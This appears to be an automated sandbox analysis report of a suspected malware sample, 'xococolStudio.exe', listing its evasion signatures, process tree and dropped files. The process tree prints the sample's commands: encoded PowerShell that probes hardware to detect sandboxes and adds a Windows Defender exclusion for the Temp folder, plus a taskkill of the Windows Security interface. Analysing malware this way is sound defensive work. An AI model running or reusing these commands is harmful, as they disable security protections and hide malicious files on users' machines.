Analysis

  • max time kernel
    30s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/04/2026, 22:41

General

  • Target
    xococolStudio.exe
  • Size 180.0MB
  • Sample260418-2mb37ahs3j
  • SHA256 f2681cf48b9dddcf302dea60715a142df3a61c4ccdcd7e7721a155bc3900b12e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe
    "C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe
      "C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\xococolstudio-neox" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1756,i,796721259611879362,13187139862705155042,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1684 /prefetch:2
      2⤵
        PID:436
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA=="
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA==
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2612
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:772
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3752
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM SecHealthUI.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -EncodedCommand dAByAHkAIAB7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAH0AIABjAGEAdABjAGgAIAB7AH0A
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4108
        • C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe
          "C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\xococolstudio-neox" --field-trial-handle=2020,i,796721259611879362,13187139862705155042,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:3
          2⤵
            PID:968
          • C:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exe
            C:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exe
            2⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:4524

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 dbb08386cd9f304d5aa17935079b599760b504b45709c408ff5f2378bbdb0b9e
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 b5b90094dac3d1015520ddc25136f5ceeb672c479eabd09799f12af543803e91
              • MD5 SHA1 SHA512 TLSH

              2dc77e1942674c75.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exe
              • Size 3.1MB
              • SHA256 be19c65b4611bd85f45ad369ef6bf10facd350019f1d0f766e02974d369df007
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_s100i1fh.s0j.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s100i1fh.s0j.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/1092-25-0x000001FB600B0000-0x000001FB600BC000-memory.dmp

              memory/4108-35-0x0000025925660000-0x000002592566C000-memory.dmp

              memory/4524-42-0x0000000140000000-0x0000000140798000-memory.dmp

              memory/4524-43-0x0000000140000000-0x0000000140798000-memory.dmp

              memory/4716-14-0x00000206AA0D0000-0x00000206AA0DC000-memory.dmp

              memory/4716-11-0x00000206C2D00000-0x00000206C2D24000-memory.dmp

              memory/4716-2-0x00000206C27B0000-0x00000206C27D2000-memory.dmp

              memory/4716-10-0x00000206C2D00000-0x00000206C2D2A000-memory.dmp